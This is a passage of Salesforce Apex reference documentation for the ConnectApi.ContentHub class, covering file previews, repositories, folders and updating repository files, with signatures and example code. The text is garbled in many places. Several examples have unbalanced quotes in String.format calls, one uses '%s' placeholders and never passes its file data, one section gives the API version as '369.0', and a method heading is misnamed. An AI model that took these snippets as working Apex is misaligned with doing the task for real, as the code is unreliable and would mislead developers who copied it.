final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId = 'document:1-zcAlbaeQbo2_yNFlHCcK6QfTpmOke-kHFC4TYg3rk';final ConnectApi.FilePreview filePreview = ConnectApi.ContentHub.getFilePreview(gDriveRepositoryId, gDriveFileId, ConnectApi.FilePreviewFormat.Thumbnail);System.debug(String.format('Preview - URL: "\'{0}"', format: "\'{1}"", nbr of renditions for this format: {2}, new String[]{ filePreview.url, filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())});for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
    System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
}
```

SEE ALSO:

`setTestGetFilePreview(repositoryId, repositoryFileId, formatType, result)`

Testing ConnectApi Code

`getFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)`

Get a page or page range of a repository file preview.

API Version

39.0

Requires Chatter

No

Signature

```java
public static ConnectApi.FilePreview getFilePreview(String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber, Integer endPageNumber)
```

Parameters

`repositoryId`

Type: `String`

The ID of the repository.

`repositoryFileId`

Type: `String`

The ID of the repository file.
**formatType**

Type: `ConnectApi.FilePreviewFormat`

Specifies the format of the file preview. Values are:

- **Jpg**—Preview format is JPG.
- **Pdf**—Preview format is PDF.
- **Svg**—Preview format is compressed SVG.
- **Thumbnail**—Preview format is 240 x 180 PNG.
- **ThumbnailBig**—Preview format is 720 x 480 PNG.
- **ThumbnailTiny**—Preview format is 120 x 90 PNG.

PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand. If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter `general` in the Quick Find box in Setup. Select General Settings, and then select [Display alternative file previews](https://developer.salesforce.com/docs/atlas.en-us.pages.meta/pages/pages_index.html).

**startPageNumber**

Type: `Integer`

The starting page number in the range of file preview URLs.

**endPageNumber**

Type: `Integer`

The ending page number in the range of file preview URLs.

Return Value

Type: `ConnectApi.FilePreview`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetFilePreview(repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber, result)`

**getPreview(communityId, repositoryId, repositoryFileId, formatType)**

Get a repository file preview in an Experience Cloud site.

API Version

39.0

Requires Chatter

No
Signature

```java
public static ConnectApi.FilePreview getFilePreview(String communityId, String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **repositoryId**
  - Type: `String`
  - The ID of the repository.

- **repositoryFileId**
  - Type: `String`
  - The ID of the repository file.

- **formatType**
  - Type: `ConnectApi.FilePreviewFormat`
  - Specifies the format of the file preview. Values are:
    - **Jpg**—Preview format is JPG.
    - **Pdf**—Preview format is PDF.
    - **Svg**—Preview format is compressed SVG.
    - **Thumbnail**—Preview format is 240 x 180 PNG.
    - **ThumbnailBig**—Preview format is 720 x 480 PNG.
    - **ThumbnailTiny**—Preview format is 120 x 90 PNG.

PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.

If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter `general` in the Quick Find box in Setup. Select General Settings, and then select **Display alternative file previews**.

Return Value

- **Type**: `ConnectApi.FilePreview`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetFilePreview(communityId, repositoryId, repositoryFileId, formatType, result)`
- Testing ConnectApi Code
**getFilePreview(communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber)**

Get a page or page range of a repository file preview in an Experience Cloud site.

**API Version**

39.0

**Requires Chatter**

No

**Signature**

```java
public static ConnectApi.FilePreview getFilePreview(String communityId, String repositoryId, String repositoryFileId, ConnectApi.FilePreviewFormat formatType, Integer startPageNumber, Integer endPageNumber)
```

**Parameters**

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or null.

- **repositoryId**
  - Type: `String`
  - The ID of the repository.

- **repositoryFileId**
  - Type: `String`
  - The ID of the repository file.

- **formatType**
  - Type: `ConnectApi.FilePreviewFormat`
  - Specifies the format of the file preview. Values are:
    - `Jpg`—Preview format is JPG.
    - `Pdf`—Preview format is PDF.
    - `Svg`—Preview format is compressed SVG.
    - `Thumbnail`—Preview format is 240 x 180 PNG.
    - `ThumbnailBig`—Preview format is 720 x 480 PNG.
    - `ThumbnailTiny`—Preview format is 120 x 90 PNG.

  PDF previews are available for files of type DOC, DOCX, PPT, PPTX, TEXT, XLS, and XLSX. SVG files are generated on demand.

  If you’re concerned that feature-rich SVG previews don’t work in your org, choose alternative file previews. To use JPG file previews, enter `general` in the Quick Find box in Setup. Select General Settings, and then select Display alternative file previews.

- **startPageNumber**
  - Type: `Integer`
  - The starting page number in the range of file preview URLs.
**endPageNumber**
Type: **Integer**
The ending page number in the range of file preview URLs.

Return Value
Type: **ConnectApi.FilePreview**

Usage
To test code that uses this method, use the matching **setTest** method (prefix the method name with **setTest**). Use the **setTest** method with the same parameters or the code throws an exception.

SEE ALSO:
- **setTestGetFilePreview**
  - communityId, repositoryId, repositoryFileId, formatType, startPageNumber, endPageNumber, result

**getItemType**
Get information about an item type associated with a repository.

API Version
39.0

Requires Chatter
No

Signature
```java
public static ConnectApi.ContentHubItemTypeDetail getItemType(String repositoryId, String repositoryItemTypeId)
```

Parameters
- **repositoryId**
  Type: **String**
  The ID of the repository.
- **repositoryItemTypeId**
  Type: **String**
  The ID of the repository item type.

Return Value
Type: **ConnectApi.ContentHubItemTypeDetail**
Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetItemType(repositoryId, repositoryItemType, result)`
- Testing ConnectApi Code

getCode(repositoryId, repositoryItemType, result)
Get information about an item type associated with a repository in an Experience Cloud site.

API Version
39.0

Requires Chatter
No

Signature
```
public static ConnectApi.ContentHubItemTypeDetail getItemType(String communityId, String repositoryId, String repositoryItemType)
```

Parameters
- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.
- `repositoryId`
  - Type: `String`
  - The ID of the repository.
- `repositoryItemType`
  - Type: `String`
  - The ID of the repository item type.

Return Value
- Type: `ConnectApi.ContentHubItemTypeDetail`
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- setTestGetItemType(communityId, repositoryId, repositoryItemTypeId, result)
- Testing ConnectApi Code

**getPreviews(repositoryId, repositoryFileId)**
Get information about a repository file’s supported previews.

API Version
39.0

Requires Chatter
No

Signature
```java
public static ConnectApi.FilePreviewCollection getPreviews(String repositoryId, String repositoryFileId)
```

Parameters
- **repositoryId**
  - Type: String
  - The ID of the repository.
- **repositoryFileId**
  - Type: String
  - The ID of the repository file.

Return Value
- Type: `ConnectApi.FilePreviewCollection`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.
Example

This example gets all supported preview formats and their respective URLs and number of renditions. For each supported preview format, we show every rendition URL available.

```java
final String gDriveRepositoryId = '0XCxx000000000GAY', gDriveFileId = 'document:1-zcAlBaeoQbo2_yNFiHCcK6QfTpmOke-kHFC4TYg3rk';
final ConnectApi.FilePreviewCollection previewsCollection = ConnectApi.ContentHub.getPreviews(gDriveRepositoryId, gDriveFileId);
for(ConnectApi.FilePreview filePreview : previewsCollection.previews){
    System.debug(String.format('Preview - URL: \'' + filePreview.url + '\'', format: \'' + filePreview.format.name() + '\'', nbr of renditions for this format: {2}', new String[]{filePreview.url, filePreview.format.name(),String.valueOf(filePreview.previewUrls.size())}));
    for(ConnectApi.FilePreviewUrl filePreviewUrl : filePreview.previewUrls){
        System.debug('-----> Rendition URL: ' + filePreviewUrl.previewUrl);
    }
}
```

SEE ALSO:

- `setTestGetPreviews(repositoryId, repositoryFileId, result)`
- `Testing ConnectApi Code`

**getPreviews(communityId, repositoryId, repositoryFileId)**

Get information about a repository file’s supported previews in an Experience Cloud site.

API Version

39.0

Requires Chatter

No

Signature

```java
public static ConnectApi.FilePreviewCollection getPreviews(String communityId, String repositoryId, String repositoryFileId)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, *internal*, or `null`.

- `repositoryId`
  - Type: `String`
  - The ID of the repository.

- `repositoryFileId`
  - Type: `String`
The ID of the repository file.

Return Value
Type: `ConnectApi.FilePreviewCollection`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetPreviews(communityId, repositoryId, repositoryFileId, result)`

Testing ConnectApi Code

### `getRepositories()`

Get a list of repositories.

API Version
39.0

Requires Chatter
No

Signature

```java
public static ConnectApi.ContentHubRepositoryCollection getRepositories()
```

Return Value
Type: `ConnectApi.ContentHubRepositoryCollection`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example
This example gets all repositories and gets the first SharePoint online repository found.

```java
final string sharePointOnlineProviderType = 'ContentHubSharepointOffice365';
final ConnectApi.ContentHubRepositoryCollection repositoryCollection = ConnectApi.ContentHub.getRepositories();
ConnectApi.ContentHubRepository sharePointOnlineRepository = null;
for (ConnectApi.ContentHubRepository repository : repositoryCollection.repositories){
    if(sharePointOnlineProviderType.equalsIgnoreCase(repository.providerType.type)){
        sharePointOnlineRepository = repository;
    }
}
```
SEE ALSO:

setTestGetRepositories(result)
Testing ConnectApi Code

getRepositories(communityId)
Get a list of repositories in an Experience Cloud site.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.ContentHubRepositoryCollection getRepositories(String communityId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

Return Value
Type: ConnectApi.ContentHubRepositoryCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRepositories(communityId, result)
Testing ConnectApi Code

getRepositories(pageParam, pageSize)
Get a page of repositories.
API Version
39.0

Requires Chatter
No

Signature

```java
public static ConnectApi.ContentHubRepositoryCollection getRepositories(Integer pageParam, Integer pageSize)
```

Parameters

- `pageParam`
  
  Type: `Integer`
  
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  
  Type: `Integer`
  
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default page size is 25.

Return Value

Type: `ConnectApi.ContentHubRepositoryCollection`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetRepositories(pageParam, pageSize, result)`

Testing ConnectApi Code

```java
getRepositories(communityId, pageParam, pageSize)
```

Get a page of repositories in an Experience Cloud site.

API Version
39.0

Requires Chatter
No
public static ConnectApi.ContentHubRepositoryCollection getRepositories(String communityId, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.

Return Value
Type: ConnectApi.ContentHubRepositoryCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRepositories(communityId, pageParam, pageSize, result)
Testing ConnectApi Code

getRepository(repositoryId)
Get a repository.

API Version
369.0

Requires Chatter
No

Signature
public static ConnectApi.ContentHubRepository getRepository(String repositoryId)
Parameters

repositoryId
Type: String
The ID of the repository.

Return Value

Type: ConnectApi.ContentHubRepository

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example

```java
final string repositoryId = '0XCxx0000000123GAA';
final ConnectApi.ContentHubRepository repository = ConnectApi.ContentHub.getRepository(repositoryId);
```

SEE ALSO:

- `setTestGetRepository(repositoryId, result)`
- Testing ConnectApi Code

`getRepository(communityId, repositoryId)`

Get a repository in an Experience Cloud site.

API Version

39.0

Requires Chatter

No

Signature

```java
public static ConnectApi.ContentHubRepository getRepository(String communityId, String repositoryId)
```

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

repositoryId
Type: String
The ID of the repository.

Return Value
Type: ConnectApi.ContentHubRepository

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRepository(communityId, repositoryId, result)
Testing ConnectApi Code

getRepositoryFile(repositoryId, repositoryFileId)
Get a repository file.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String repositoryId, String repositoryFileId)

Parameters
repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

Return Value
Type: ConnectApi.RepositoryFileDetail

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.
Example

```java
final String gDriveRepositoryId = '0xCxx00000000ODGAY', gDriveFileId = 'file:OB01TysIkmM3sTmxKKnjVJbWzja00';
final ConnectApi.RepositoryFileDetail file = ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \'{0}\', size: {1}, external URL: \'{2}\',
download URL: \'{3}\',
   new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
```

SEE ALSO:
- setTestGetRepositoryFile(repositoryId, repositoryFileId, result)
- Testing ConnectApi Code

**getRepositoryFile** *(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)*

Get a repository file with or without permissions information.

API Version
39.0

Requires Chatter
No

Signature

```java
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String repositoryId,
String repositoryFileId, Boolean includeExternalFilePermissionsInfo)
```

Parameters

**repositoryId**
Type: String
The ID of the repository.

**repositoryFileId**
Type: String
The ID of the repository file.

**includeExternalFilePermissionsInfo**
Type: Boolean
Specifies whether to include permission information, such as whether the file is shared and what are the available permission types. Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.

Return Value
Type: ConnectApi.RepositoryFileDetail
Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Example

```java
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId = 'file:0B01Tys1Km3sTmzKNjVJbWZja00';

final ConnectApi.RepositoryFileDetail file = ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
System.debug(String.format('File - name: \'{0}\', size: {1}, external URL: \'{2}\', download URL: \'{3}\', new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl, file.downloadUrl});
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo = file.externalFilePermissionInformation;

//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes = externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
    System.debug(String.format('Permission type - id: \'{0}\', label: \'{1}\', new String[]{ permissionType.id, permissionType.label});)
}

//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups = externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
    System.debug(String.format('Group - id: \'{0}\', name: \'{1}\', type: \'{2}\', new String[]{ ggroup.id, ggroup.name, ggroup.type.name});)
}
```

SEE ALSO:

- setTestGetRepositoryFile(repositoryId, repositoryFileId, includeExternalFilePermissionsInfo, result)

**getRepositoryFile(communityId, repositoryId, repositoryFileId)**

Get a repository file in an Experience Cloud site.

API Version

39.0

Requires Chatter

No
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String communityId, String repositoryId, String repositoryFileId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

Return Value
Type: ConnectApi.RepositoryFileDetail

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId, result)
Testing ConnectApi Code

getRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information in an Experience Cloud site.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String communityId, String repositoryId, String repositoryFileId, Boolean includeExternalFilePermissionsInfo)
Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

includeExternalFilePermissionsInfo
Type: Boolean
Specifies whether to include permission information, such as whether the file is shared and what are the available permission types.
Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.

Return Value
Type: ConnectApi.RepositoryFileDetail

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRepositoryFile(communityId, repositoryId, repositoryFileId, includeExternalFilePermissionsInfo, result)
Testing ConnectApi Code

getRepositoryFolder(repositoryId, repositoryFolderId)
Get a repository folder.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFolderDetail getRepositoryFolder(String repositoryId, String repositoryFolderId)
Parameters

repositoryId
  Type: String
  The ID of the repository.

repositoryFolderId
  Type: String
  The ID of the repository folder.

Return Value

Type: ConnectApi.RepositoryFolderDetail

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Example

```java
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId = 'folder:0B0lTys1KmM3sSVJ2bjIzTGfQsM';
final ConnectApi.RepositoryFolderDetail folder = ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \'{0}\', description: \'{1}\', external URL: \'{2}\', folder items URL: \'{3}\',
    new String[]{ folder.name, folder.description, folder.externalFolderUrl, folder.folderItemsUrl})�;
```

SEE ALSO:

setTestGetRepositoryFolder(repositoryId, repositoryFolderId, result)

Testing ConnectApi Code

**getRepositoryFolder(communityId, repositoryId, repositoryFolderId)**

Get a repository folder in an Experience Cloud site.

API Version

39.0

Requires Chatter

No

Signature

```java
public static ConnectApi.RepositoryFolderDetail getRepositoryFolder(String communityId, String repositoryId, String repositoryFolderId)
```
Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, `internal`, or `null`.

**repositoryId**
Type: `String`
The ID of the repository.

**repositoryFolderId**
Type: `String`
The ID of the repository folder.

Return Value

Type: `ConnectApi.RepositoryFolderDetail`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

`setTestGetRepositoryFolder(communityId, repositoryId, repositoryFolderId, result)`

Testing ConnectApi Code

**getRepositoryFolderItems(repositoryId, repositoryFolderId)**

Get repository folder items.

API Version

39.0

Requires Chatter

No

Signature

`public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String repositoryId, String repositoryFolderId)`

Parameters

**repositoryId**
Type: `String`
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.

Return Value
Type: ConnectApi.RepositoryFolderItemsCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Example
This example gets the collection of items in a repository folder. For files, we show the file’s name, size, external URL, and download URL. For folders, we show the folder’s name, description, and external URL.

```java
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId = 'folder:0B01Tys1KmM3sSVJ2bjITzTGFqSWs';
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl = ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for(ConnectApi.RepositoryFolderItem item : folderItems){
    ConnectApi.RepositoryFileSummary fileSummary = item.file;
    if(fileSummary != null){
        System.debug(String.format('File item - name: \'\'{0}\', size: {1}, external URL: \'\'{2}\', download URL: \'\'{3}\'\', new String[]{fileSummary.name, String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl, fileSummary.downloadUrl}});
    }else{
        ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
        System.debug(String.format('Folder item - name: \'\'{0}\', description: \'\'{1}\', new String[]{folderSummary.name, folderSummary.description}});
    }
}
```

SEE ALSO:
setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, result)

getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId)
Get repository folder items in an Experience Cloud site.

API Version
39.0
Requires Chatter
No

Signature
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String communityId, String repositoryId, String repositoryFolderId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

Return Value
Type: ConnectApi.RepositoryFolderItemsCollection

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, result)

getRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize)
Get a page of repository folder items.

API Version
39.0

Requires Chatter
No
Signature

```java
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize)
```

Parameters

- `repositoryId`
  Type: `String`
  The ID of the repository.

- `repositoryFolderId`
  Type: `String`
  The ID of the repository folder.

- `pageParam`
  Type: `Integer`
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`
  Type: `Integer`
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default page size is 25.

Return Value

Type: `ConnectApi.RepositoryFolderItemsCollection`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam, pageSize, result)`

Testing ConnectApi Code

```java
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize)
```

Get a page of repository folder items in an Experience Cloud site.

API Version

39.0

Requires Chatter

No
Signature

public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String communityId, String repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFolderId
Type: String
The ID of the repository folder.

pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.

Return Value

Type: ConnectApi.RepositoryFolderItemsCollection

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestGetRepositoryFolderItems(communityId, repositoryId, repositoryFolderId, pageParam, pageSize, result)

Testing ConnectApi Code

updateRepositoryFile(repositoryId, repositoryFileId, file)

Update the name of a repository file.

API Version

39.0
Requires Chatter
No

Signature

```java
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file)
```

Parameters

- `repositoryId`
  - **Type:** String
  - The ID of the repository.

- `repositoryFileId`
  - **Type:** String
  - The ID of the repository file.

- `file`
  - **Type:** `ConnectApi.ContentHubItemInput`
  - The item type ID and fields of the item type.
  - **Note:** When updating the metadata of a repository file, only the name field can be updated.

Return Value

- **Type:** `ConnectApi.RepositoryFileDetail`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example

This example updates the name of a file in a Google Drive repository. After the file is updated, we show the file’s ID, name, description, external URL, download URL.

```java
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:OBolTys1KmM3sSVJ2b91zTGtSWS', gDriveFileId =
'document:1q9OtVpcYBK-JWzgPhR75ulQghwFP15zhkamKrRcQ';

final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document'; //see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>{};

//Metadata: name field
final ConnectApi.ContentHubFieldSetValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldSetValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
```
updatedItem.fields.add(fieldValueInputName);

final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: "{0}", name: "{1}", description:
"{2}",
external URL: "{3}", download URL: "{4}", new String[]{
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl});

SEE ALSO:
setTestUpdateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData, result)
Testing ConnectApi Code

updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file.

API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData)

Parameters
repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
When updating the metadata of a repository file, only the name field can be updated.

fileData
Type: ConnectApi.BinaryInput
The binary file.
Return Value

Type: ConnectApi.RepositoryFileDetail

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Example

This example updates the content and name of a file in a Google Drive repository. After the file is updated, we show the file’s ID, name, description, external URL, and download URL.

```java
final String gDriveRepositoryId = '0XCxx000000000Dgay', gDriveFolderId = 'folder:0B01Tys1KmM3sSVJ2b1jTzTGqSWS', gDriveFileId = 'document:1q9Oat8pYcYK-JWzp_FhHR75uQghwFP15ztkamKrQcQ';

final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document'; // see getAllowedTypes for any file item types available for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();

// Metadata: name field
final ConnectApi.ContentHubFieldInput fieldValueInputName = new ConnectApi.ContentHubFieldInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);

// Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);

final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: %s, name: %s, description: %s, in external URL: %s, download URL: %s',
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl));
```

SEE ALSO:

`updateRepositoryFile(communityId, repositoryId, repositoryFileId, file)`

Update the name of a repository file in an Experience Cloud site.
API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
repositoryId
  Type: String
  The ID of the repository.
repositoryFileId
  Type: String
  The ID of the repository file.
file
  Type: ConnectApi.ContentHubItemInput
  The item type ID and fields of the item type.
  When updating the metadata of a repository file, only the name field can be updated.

Return Value
Type: ConnectApi.RepositoryFileDetail

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  Testing ConnectApi Code

updateRepositoryFile(communityId, repositoryId, repositoryFileId, file, fileData)

Update the content of a repository file in an Experience Cloud site.
API Version
39.0

Requires Chatter
No

Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String communityId, String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput fileData)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

repositoryId
Type: String
The ID of the repository.

repositoryFileId
Type: String
The ID of the repository file.

file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
When updating the metadata of a repository file, only the name field can be updated.

fileData
Type: ConnectApi.BinaryInput
The binary file.

Return Value
Type: ConnectApi.RepositoryFileDetail

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

ContentHub Test Methods

The following are the test methods for ContentHub. All methods are static.

For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

